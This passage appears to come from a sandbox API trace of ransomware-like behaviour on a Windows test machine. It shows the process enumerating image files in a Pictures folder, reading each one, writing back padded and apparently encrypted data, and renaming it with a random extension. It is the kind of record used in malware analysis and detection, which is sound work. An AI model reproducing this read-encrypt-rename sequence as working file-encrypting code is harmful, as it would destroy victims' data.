ftLastAccessTime.dwHighDateTime=0x1d8bcbd, ftLastWriteTime.dwLowDateTime=0x5d026af0, ftLastWriteTime.dwHighDateTime=0x1d8bcbd, nFileSizeHigh=0x0, nFileSizeLow=0x684d, dwReserved0=0x0, dwReserved1=0x0, cFileName="fckO9Z.jpg", cAlternateFileName="")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf1af1f0, ftCreationTime.dwHighDateTime=0x1d8b568, ftLastAccessTime.dwLowDateTime=0xa5bfa230, ftLastAccessTime.dwHighDateTime=0x1d8b56a, ftLastWriteTime.dwLowDateTime=0xa5bfa230, ftLastWriteTime.dwHighDateTime=0x1d8b56a, nFileSizeHigh=0x0, nFileSizeLow=0xf44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="FWodvItrM.bmp", cAlternateFileName="FWODVI~1.BMP")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf42d0, ftCreationTime.dwHighDateTime=0x1d8b2f8, ftLastAccessTime.dwLowDateTime=0x75a1d60, ftLastAccessTime.dwHighDateTime=0x1d8bcad, ftLastWriteTime.dwLowDateTime=0x75a1d60, ftLastWriteTime.dwHighDateTime=0x1d8bcad, nFileSizeHigh=0x0, nFileSizeLow=0xd9ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="L83NExETrGpHPh2QM.gif", cAlternateFileName="L83NEX~1.GIF")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab02d0, ftCreationTime.dwHighDateTime=0x1d8bff6, ftLastAccessTime.dwLowDateTime=0xb66dc630, ftLastAccessTime.dwHighDateTime=0x1d8c04a, ftLastWriteTime.dwLowDateTime=0xb66dc630, ftLastWriteTime.dwHighDateTime=0x1d8c04a, nFileSizeHigh=0x0, nFileSizeLow=0x18b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rJ_4KfxlsLigwMbe6Uh9.gif", cAlternateFileName="RJ_4KF~1.GIF")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9804c20, ftCreationTime.dwHighDateTime=0x1d8b5bd, ftLastAccessTime.dwLowDateTime=0x3c461ac0, ftLastAccessTime.dwHighDateTime=0x1d8b617, ftLastWriteTime.dwLowDateTime=0x3c461ac0, ftLastWriteTime.dwHighDateTime=0x1d8b617, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ul7 qYOCyot.bmp", cAlternateFileName="UL7QYO~1.BMP")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7d38140, ftCreationTime.dwHighDateTime=0x1d8bbc3, ftLastAccessTime.dwLowDateTime=0xd36279e0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xd36279e0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x56b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0P8lTHUxZmOxHE.png", cAlternateFileName="V0P8LT~1.PNG")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc34bf60, ftCreationTime.dwHighDateTime=0x1d8b5d3, ftLastAccessTime.dwLowDateTime=0xb1176080, ftLastAccessTime.dwHighDateTime=0x1d8b639, ftLastWriteTime.dwLowDateTime=0xb1176080, ftLastWriteTime.dwHighDateTime=0x1d8b639, nFileSizeHigh=0x0, nFileSizeLow=0x16dbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="YkFaHc49kE 0.jpg", cAlternateFileName="YKFAHC~1.JPG")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e9efd0, ftCreationTime.dwHighDateTime=0x1d8c0c8, ftLastAccessTime.dwLowDateTime=0xc15fc330, ftLastAccessTime.dwHighDateTime=0x1d8c12c, ftLastWriteTime.dwLowDateTime=0xc15fc330, ftLastWriteTime.dwHighDateTime=0x1d8c12c, nFileSizeHigh=0x0, nFileSizeLow=0x4d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="_kG8I b.gif", cAlternateFileName="_KG8IB~1.GIF")) returned 1 [0157.574] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e9efd0, ftCreationTime.dwHighDateTime=0x1d8c0c8, ftLastAccessTime.dwLowDateTime=0xc15fc330, ftLastAccessTime.dwHighDateTime=0x1d8c12c, ftLastWriteTime.dwLowDateTime=0xc15fc330, ftLastWriteTime.dwHighDateTime=0x1d8c12c, nFileSizeHigh=0x0, nFileSizeLow=0x4d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="_kG8I b.gif", cAlternateFileName="_KG8IB~1.GIF")) returned 0 [0157.575] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0157.575] SetErrorMode (uMode=0x0) returned 0x1 [0157.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH", lpFilePart=0x0) returned 0x49 [0157.575] SetErrorMode (uMode=0x1) returned 0x0 [0157.575] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cf3d20, ftCreationTime.dwHighDateTime=0x1d8bb04, ftLastAccessTime.dwLowDateTime=0x96633ed0, ftLastAccessTime.dwHighDateTime=0x1d8bbde, ftLastWriteTime.dwLowDateTime=0x96633ed0, ftLastWriteTime.dwHighDateTime=0x1d8bbde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cf3d20, ftCreationTime.dwHighDateTime=0x1d8bb04, ftLastAccessTime.dwLowDateTime=0x96633ed0, ftLastAccessTime.dwHighDateTime=0x1d8bbde, ftLastWriteTime.dwLowDateTime=0x96633ed0, ftLastWriteTime.dwHighDateTime=0x1d8bbde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18971420, ftCreationTime.dwHighDateTime=0x1d8b5d7, ftLastAccessTime.dwLowDateTime=0xc57010d0, ftLastAccessTime.dwHighDateTime=0x1d8bb85, ftLastWriteTime.dwLowDateTime=0xc57010d0, ftLastWriteTime.dwHighDateTime=0x1d8bb85, nFileSizeHigh=0x0, nFileSizeLow=0x174f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="b7UxR_bx5.png", cAlternateFileName="B7UXR_~1.PNG")) returned 1 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1616b40, ftCreationTime.dwHighDateTime=0x1d8ba3e, ftLastAccessTime.dwLowDateTime=0x5d026af0, ftLastAccessTime.dwHighDateTime=0x1d8bcbd, ftLastWriteTime.dwLowDateTime=0x5d026af0, ftLastWriteTime.dwHighDateTime=0x1d8bcbd, nFileSizeHigh=0x0, nFileSizeLow=0x684d, dwReserved0=0x0, dwReserved1=0x0, cFileName="fckO9Z.jpg", cAlternateFileName="")) returned 1 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf1af1f0, ftCreationTime.dwHighDateTime=0x1d8b568, ftLastAccessTime.dwLowDateTime=0xa5bfa230, ftLastAccessTime.dwHighDateTime=0x1d8b56a, ftLastWriteTime.dwLowDateTime=0xa5bfa230, ftLastWriteTime.dwHighDateTime=0x1d8b56a, nFileSizeHigh=0x0, nFileSizeLow=0xf44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="FWodvItrM.bmp", cAlternateFileName="FWODVI~1.BMP")) returned 1 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf42d0, ftCreationTime.dwHighDateTime=0x1d8b2f8, ftLastAccessTime.dwLowDateTime=0x75a1d60, ftLastAccessTime.dwHighDateTime=0x1d8bcad, ftLastWriteTime.dwLowDateTime=0x75a1d60, ftLastWriteTime.dwHighDateTime=0x1d8bcad, nFileSizeHigh=0x0, nFileSizeLow=0xd9ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="L83NExETrGpHPh2QM.gif", cAlternateFileName="L83NEX~1.GIF")) returned 1 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab02d0, ftCreationTime.dwHighDateTime=0x1d8bff6, ftLastAccessTime.dwLowDateTime=0xb66dc630, ftLastAccessTime.dwHighDateTime=0x1d8c04a, ftLastWriteTime.dwLowDateTime=0xb66dc630, ftLastWriteTime.dwHighDateTime=0x1d8c04a, nFileSizeHigh=0x0, nFileSizeLow=0x18b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rJ_4KfxlsLigwMbe6Uh9.gif", cAlternateFileName="RJ_4KF~1.GIF")) returned 1 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9804c20, ftCreationTime.dwHighDateTime=0x1d8b5bd, ftLastAccessTime.dwLowDateTime=0x3c461ac0, ftLastAccessTime.dwHighDateTime=0x1d8b617, ftLastWriteTime.dwLowDateTime=0x3c461ac0, ftLastWriteTime.dwHighDateTime=0x1d8b617, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ul7 qYOCyot.bmp", cAlternateFileName="UL7QYO~1.BMP")) returned 1 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7d38140, ftCreationTime.dwHighDateTime=0x1d8bbc3, ftLastAccessTime.dwLowDateTime=0xd36279e0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0xd36279e0, ftLastWriteTime.dwHighDateTime=0x1d8bd96, nFileSizeHigh=0x0, nFileSizeLow=0x56b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0P8lTHUxZmOxHE.png", cAlternateFileName="V0P8LT~1.PNG")) returned 1 [0157.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc34bf60, ftCreationTime.dwHighDateTime=0x1d8b5d3, ftLastAccessTime.dwLowDateTime=0xb1176080, ftLastAccessTime.dwHighDateTime=0x1d8b639, ftLastWriteTime.dwLowDateTime=0xb1176080, ftLastWriteTime.dwHighDateTime=0x1d8b639, nFileSizeHigh=0x0, nFileSizeLow=0x16dbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="YkFaHc49kE 0.jpg", cAlternateFileName="YKFAHC~1.JPG")) returned 1 [0157.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e9efd0, ftCreationTime.dwHighDateTime=0x1d8c0c8, ftLastAccessTime.dwLowDateTime=0xc15fc330, ftLastAccessTime.dwHighDateTime=0x1d8c12c, ftLastWriteTime.dwLowDateTime=0xc15fc330, ftLastWriteTime.dwHighDateTime=0x1d8c12c, nFileSizeHigh=0x0, nFileSizeLow=0x4d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="_kG8I b.gif", cAlternateFileName="_KG8IB~1.GIF")) returned 1 [0157.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e9efd0, ftCreationTime.dwHighDateTime=0x1d8c0c8, ftLastAccessTime.dwLowDateTime=0xc15fc330, ftLastAccessTime.dwHighDateTime=0x1d8c12c, ftLastWriteTime.dwLowDateTime=0xc15fc330, ftLastWriteTime.dwHighDateTime=0x1d8c12c, nFileSizeHigh=0x0, nFileSizeLow=0x4d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="_kG8I b.gif", cAlternateFileName="_KG8IB~1.GIF")) returned 0 [0157.577] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0157.577] SetErrorMode (uMode=0x0) returned 0x1 [0157.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png", lpFilePart=0x0) returned 0x57 [0157.577] SetErrorMode (uMode=0x1) returned 0x0 [0157.577] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\b7uxr_bx5.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.578] GetFileType (hFile=0x1d0) returned 0x1 [0157.578] SetErrorMode (uMode=0x0) returned 0x1 [0157.578] GetFileType (hFile=0x1d0) returned 0x1 [0157.578] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x174f9 [0157.579] ReadFile (in: hFile=0x1d0, lpBuffer=0x129584d8, nNumberOfBytesToRead=0x174f9, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x129584d8*, lpNumberOfBytesRead=0x21d298*=0x174f9, lpOverlapped=0x0) returned 1 [0157.673] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png", lpFilePart=0x0) returned 0x57 [0157.673] SetErrorMode (uMode=0x1) returned 0x0 [0157.673] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\b7uxr_bx5.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.675] GetFileType (hFile=0x1d0) returned 0x1 [0157.675] SetErrorMode (uMode=0x0) returned 0x1 [0157.675] GetFileType (hFile=0x1d0) returned 0x1 [0157.675] WriteFile (in: hFile=0x1d0, lpBuffer=0x129cce58*, nNumberOfBytesToWrite=0x17500, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x129cce58*, lpNumberOfBytesWritten=0x21d318*=0x17500, lpOverlapped=0x0) returned 1 [0157.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png", lpFilePart=0x0) returned 0x57 [0157.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png.0zcdub", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png.0zcdub", lpFilePart=0x0) returned 0x5e [0157.678] SetErrorMode (uMode=0x1) returned 0x0 [0157.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\b7uxr_bx5.png"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18971420, ftCreationTime.dwHighDateTime=0x1d8b5d7, ftLastAccessTime.dwLowDateTime=0xc57010d0, ftLastAccessTime.dwHighDateTime=0x1d8bb85, ftLastWriteTime.dwLowDateTime=0x5a7698e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x17500)) returned 1 [0157.678] SetErrorMode (uMode=0x0) returned 0x1 [0157.678] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\b7uxr_bx5.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\b7UxR_bx5.png.0zcdub" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\b7uxr_bx5.png.0zcdub")) returned 1 [0157.680] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg", lpFilePart=0x0) returned 0x54 [0157.680] SetErrorMode (uMode=0x1) returned 0x0 [0157.680] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\fcko9z.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.680] GetFileType (hFile=0x1d0) returned 0x1 [0157.680] SetErrorMode (uMode=0x0) returned 0x1 [0157.680] GetFileType (hFile=0x1d0) returned 0x1 [0157.680] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x684d [0157.680] ReadFile (in: hFile=0x1d0, lpBuffer=0x28e0950, nNumberOfBytesToRead=0x684d, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x28e0950*, lpNumberOfBytesRead=0x21d298*=0x684d, lpOverlapped=0x0) returned 1 [0157.720] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg", lpFilePart=0x0) returned 0x54 [0157.720] SetErrorMode (uMode=0x1) returned 0x0 [0157.721] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\fcko9z.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.722] GetFileType (hFile=0x1d0) returned 0x1 [0157.722] SetErrorMode (uMode=0x0) returned 0x1 [0157.722] GetFileType (hFile=0x1d0) returned 0x1 [0157.722] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e1100*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x29e1100*, lpNumberOfBytesWritten=0x21d318*=0x6850, lpOverlapped=0x0) returned 1 [0157.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg", lpFilePart=0x0) returned 0x54 [0157.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg.ts8e3e", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg.ts8e3e", lpFilePart=0x0) returned 0x5b [0157.725] SetErrorMode (uMode=0x1) returned 0x0 [0157.725] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\fcko9z.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1616b40, ftCreationTime.dwHighDateTime=0x1d8ba3e, ftLastAccessTime.dwLowDateTime=0x5d026af0, ftLastAccessTime.dwHighDateTime=0x1d8bcbd, ftLastWriteTime.dwLowDateTime=0x5a7dbd00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x6850)) returned 1 [0157.725] SetErrorMode (uMode=0x0) returned 0x1 [0157.725] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\fcko9z.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\fckO9Z.jpg.ts8e3e" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\fcko9z.jpg.ts8e3e")) returned 1 [0157.726] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif", lpFilePart=0x0) returned 0x5f [0157.726] SetErrorMode (uMode=0x1) returned 0x0 [0157.726] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\l83nexetrgphph2qm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.726] GetFileType (hFile=0x1d0) returned 0x1 [0157.726] SetErrorMode (uMode=0x0) returned 0x1 [0157.726] GetFileType (hFile=0x1d0) returned 0x1 [0157.726] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0xd9ef [0157.727] ReadFile (in: hFile=0x1d0, lpBuffer=0x29e8a08, nNumberOfBytesToRead=0xd9ef, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x29e8a08*, lpNumberOfBytesRead=0x21d298*=0xd9ef, lpOverlapped=0x0) returned 1 [0157.886] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif", lpFilePart=0x0) returned 0x5f [0157.886] SetErrorMode (uMode=0x1) returned 0x0 [0157.886] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\l83nexetrgphph2qm.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, 